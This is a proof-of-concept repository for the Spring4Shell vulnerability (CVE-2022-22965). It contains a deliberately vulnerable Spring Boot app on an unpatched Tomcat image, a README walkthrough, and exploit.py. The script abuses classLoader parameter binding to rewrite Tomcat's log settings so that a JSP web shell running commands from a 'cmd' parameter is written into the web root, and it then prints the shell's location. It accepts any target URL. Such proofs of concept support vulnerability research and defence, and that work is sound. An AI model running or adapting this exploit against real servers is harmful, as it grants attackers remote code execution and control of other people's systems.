├── .gitignore ├── Dockerfile ├── README.md ├── exploit.py ├── pom.xml ├── screenshots ├── RCE.png ├── runexploit_2.png └── webpage.png └── src ├── main ├── java │ └── com │ │ └── reznok │ │ └── helloworld │ │ ├── Greeting.java │ │ ├── HelloController.java │ │ └── HelloworldApplication.java └── resources │ ├── application.properties │ └── templates │ └── hello.html └── test └── java └── com └── reznok └── helloworld └── HelloworldApplicationTests.java /.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/**/target/ 5 | !**/src/test/**/target/ 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | !**/src/main/**/build/ 30 | !**/src/test/**/build/ 31 | 32 | ### VS Code ### 33 | .vscode/ 34 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Pin our tomcat version to something that has not been updated to remove the vulnerability 2 | # https://hub.docker.com/layers/tomcat/library/tomcat/9.0.59-jdk11/images/sha256-383a062a98c70924fb1b1da391a054021b6448f0aa48860ae02f786aa5d4e2ad?context=explore 3 | FROM lunasec/tomcat-9.0.59-jdk11 4 | 5 | ADD src/ /helloworld/src 6 | ADD pom.xml /helloworld 7 | 8 | # Build spring app 9 | RUN apt update && apt install maven -y 10 | WORKDIR /helloworld/ 11 | RUN mvn clean package 12 | 13 | # Deploy to tomcat 14 | RUN mv target/helloworld.war /usr/local/tomcat/webapps/ 15 | 16 | EXPOSE 8080 17 | CMD ["catalina.sh", "run"] 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Spring4Shell PoC Application 2 | 3 | This is a dockerized application that is vulnerable to the Spring4Shell vulnerability (CVE-2022-22965). Full Java source for the war is provided and modifiable, the war will get re-built whenever the docker image is built. The built WAR will then be loaded by Tomcat. There is nothing special about this application, it's a simple hello world that's based off [Spring tutorials](https://spring.io/guides/gs/handling-form-submission/). 4 | 5 | 6 | Details: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities 7 | 8 | ## Requirements 9 | 10 | 1. Docker 11 | 2. Python3 + requests library 12 | 13 | ## Instructions 14 | 15 | 1. Clone the repository 16 | 2. Build and run the container: `docker build . -t spring4shell && docker run -p 8080:8080 spring4shell` 17 | 3. App should now be available at http://localhost:8080/helloworld/greeting 18 | 19 | ![WebPage](screenshots/webpage.png?raw=true) 20 | 21 | 4. Run the exploit.py script: 22 | `python exploit.py --url "http://localhost:8080/helloworld/greeting"` 23 | 24 | ![WebPage](screenshots/runexploit_2.png?raw=true) 25 | 26 | 5. Visit the created webshell! Modify the `cmd` GET parameter for your commands. (`http://localhost:8080/shell.jsp` by default) 27 | 28 | ![WebPage](screenshots/RCE.png?raw=true) 29 | 30 | 31 | 32 | ## Notes 33 | 34 | **Fixed!** ~~As of this writing, the container (possibly just Tomcat) must be restarted between exploitations. I'm actively trying to resolve this.~~ 35 | 36 | 37 | Re-running the exploit will create an extra artifact file of {old_filename}_.jsp. 38 | 39 | PRs/DMs [@Rezn0k](https://twitter.com/rezn0k) are welcome for improvements! 40 | 41 | ## Credits 42 | 43 | - [@esheavyind](https://twitter.com/esheavyind) for help on building a PoC. Check out their writeup at: https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a 44 | - [@LunaSecIO](https://twitter.com/LunaSecIO) for improving the documentation and exploit 45 | - [@rwincey](https://twitter.com/rwincey) for making the exploit replayable without requiring a Tomcat restart 46 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | # Author: @Rezn0k 2 | # Based off the work of p1n93r 3 | 4 | import requests 5 | import argparse 6 | from urllib.parse import urlparse 7 | import time 8 | 9 | # Set to bypass errors if the target site has SSL issues 10 | requests.packages.urllib3.disable_warnings() 11 | 12 | post_headers = { 13 | "Content-Type": "application/x-www-form-urlencoded" 14 | } 15 | 16 | get_headers = { 17 | "prefix": "<%", 18 | "suffix": "%>//", 19 | # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern 20 | "c": "Runtime", 21 | } 22 | 23 | 24 | def run_exploit(url, directory, filename): 25 | log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \ 26 | f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \ 27 | f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \ 28 | f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di" 29 | 30 | log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp" 31 | log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}" 32 | log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}" 33 | log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" 34 | 35 | exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format]) 36 | 37 | # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times 38 | # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp 39 | file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_" 40 | print("[*] Resetting Log Variables.") 41 | ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False) 42 | print("[*] Response code: %d" % ret.status_code) 43 | 44 | # Change the tomcat log location variables 45 | print("[*] Modifying Log Configurations") 46 | ret = requests.post(url, headers=post_headers, data=exp_data, verify=False) 47 | print("[*] Response code: %d" % ret.status_code) 48 | 49 | # Changes take some time to populate on tomcat 50 | time.sleep(3) 51 | 52 | # Send the packet that writes the web shell 53 | ret = requests.get(url, headers=get_headers, verify=False) 54 | print("[*] Response Code: %d" % ret.status_code) 55 | 56 | time.sleep(1) 57 | 58 | # Reset the pattern to prevent future writes into the file 59 | pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=" 60 | print("[*] Resetting Log Variables.") 61 | ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False) 62 | print("[*] Response code: %d" % ret.status_code) 63 | 64 | 65 | def main(): 66 | parser = argparse.ArgumentParser(description='Spring Core RCE') 67 | parser.add_argument('--url', help='target url', required=True) 68 | parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell") 69 | parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app', 70 | required=False, default="webapps/ROOT") 71 | 72 | file_arg = parser.parse_args().file 73 | dir_arg = parser.parse_args().dir 74 | url_arg = parser.parse_args().url 75 | 76 | filename = file_arg.replace(".jsp", "") 77 | 78 | if url_arg is None: 79 | print("Must pass an option for --url") 80 | return 81 | 82 | try: 83 | run_exploit(url_arg, dir_arg, filename) 84 | print("[+] Exploit completed") 85 | print("[+] Check your target for a shell") 86 | print("[+] File: " + filename + ".jsp") 87 | 88 | if dir_arg: 89 | location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp" 90 | else: 91 | location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id" 92 | print(f"[+] Shell should be at: {location}?cmd=id") 93 | except Exception as e: 94 | print(e) 95 | 96 | 97 | if __name__ == '__main__': 98 | main() 99 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | org.springframework.boot 7 | spring-boot-starter-parent 8 | 2.6.3 9 | 10 | 11 | war 12 | com.example 13 | spring4shell-vulnerable-application 14 | 0.0.1-SNAPSHOT 15 | Spring4Shell Vulnerable Application 16 | Demo project for Spring Boot 17 | 18 | 1.8 19 | 20 | 21 | 22 | org.springframework.boot 23 | spring-boot-starter-thymeleaf 24 | 2.6.3 25 | 26 | 27 | org.springframework.boot 28 | spring-boot-starter-web 29 | 2.6.3 30 | 31 | 32 | 33 | org.springframework.boot 34 | spring-boot-starter-test 35 | 2.6.3 36 | test 37 | 38 | 39 | 40 | org.springframework.boot 41 | spring-boot-starter-tomcat 42 | 2.6.3 43 | provided 44 | 45 | 46 | 47 | 48 | helloworld 49 | 50 | 51 | org.springframework.boot 52 | spring-boot-maven-plugin 53 | 2.6.3 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /screenshots/RCE.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lunasec-io/Spring4Shell-POC/1ac415ef8b6889bd2e8117a1aee58f09986ee2eb/screenshots/RCE.png -------------------------------------------------------------------------------- /screenshots/runexploit_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lunasec-io/Spring4Shell-POC/1ac415ef8b6889bd2e8117a1aee58f09986ee2eb/screenshots/runexploit_2.png -------------------------------------------------------------------------------- /screenshots/webpage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lunasec-io/Spring4Shell-POC/1ac415ef8b6889bd2e8117a1aee58f09986ee2eb/screenshots/webpage.png -------------------------------------------------------------------------------- /src/main/java/com/reznok/helloworld/Greeting.java: -------------------------------------------------------------------------------- 1 | package com.reznok.helloworld; 2 | 3 | public class Greeting { 4 | 5 | private long id; 6 | private String content; 7 | 8 | public long getId() { 9 | return id; 10 | } 11 | 12 | public void setId(long id) { 13 | this.id = id; 14 | } 15 | 16 | public String getContent() { 17 | return content; 18 | } 19 | 20 | public void setContent(String content) { 21 | this.content = content; 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /src/main/java/com/reznok/helloworld/HelloController.java: -------------------------------------------------------------------------------- 1 | package com.reznok.helloworld; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.ui.Model; 5 | import org.springframework.web.bind.annotation.GetMapping; 6 | import org.springframework.web.bind.annotation.ModelAttribute; 7 | import org.springframework.web.bind.annotation.PostMapping; 8 | 9 | @Controller 10 | public class HelloController { 11 | 12 | @GetMapping("/greeting") 13 | public String greetingForm(Model model) { 14 | model.addAttribute("greeting", new Greeting()); 15 | return "hello"; 16 | } 17 | 18 | @PostMapping("/greeting") 19 | public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) { 20 | return "hello"; 21 | } 22 | 23 | } 24 | -------------------------------------------------------------------------------- /src/main/java/com/reznok/helloworld/HelloworldApplication.java: -------------------------------------------------------------------------------- 1 | package com.reznok.helloworld; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; 6 | 7 | 8 | @SpringBootApplication 9 | public class HelloworldApplication extends SpringBootServletInitializer{ 10 | public static void main(String[] args) { 11 | SpringApplication.run(HelloworldApplication.class, args); 12 | } 13 | 14 | } 15 | -------------------------------------------------------------------------------- /src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /src/main/resources/templates/hello.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Reznok's Hello World Spring Application 6 | 7 | 8 | Hello World! Exploit me! 9 | 10 | -------------------------------------------------------------------------------- /src/test/java/com/reznok/helloworld/HelloworldApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.reznok.helloworld; 2 | 3 | import org.junit.jupiter.api.Test; 4 | import org.springframework.boot.test.context.SpringBootTest; 5 | 6 | @SpringBootTest 7 | class HelloworldApplicationTests { 8 | 9 | @Test 10 | void contextLoads() { 11 | } 12 | 13 | } 14 | --------------------------------------------------------------------------------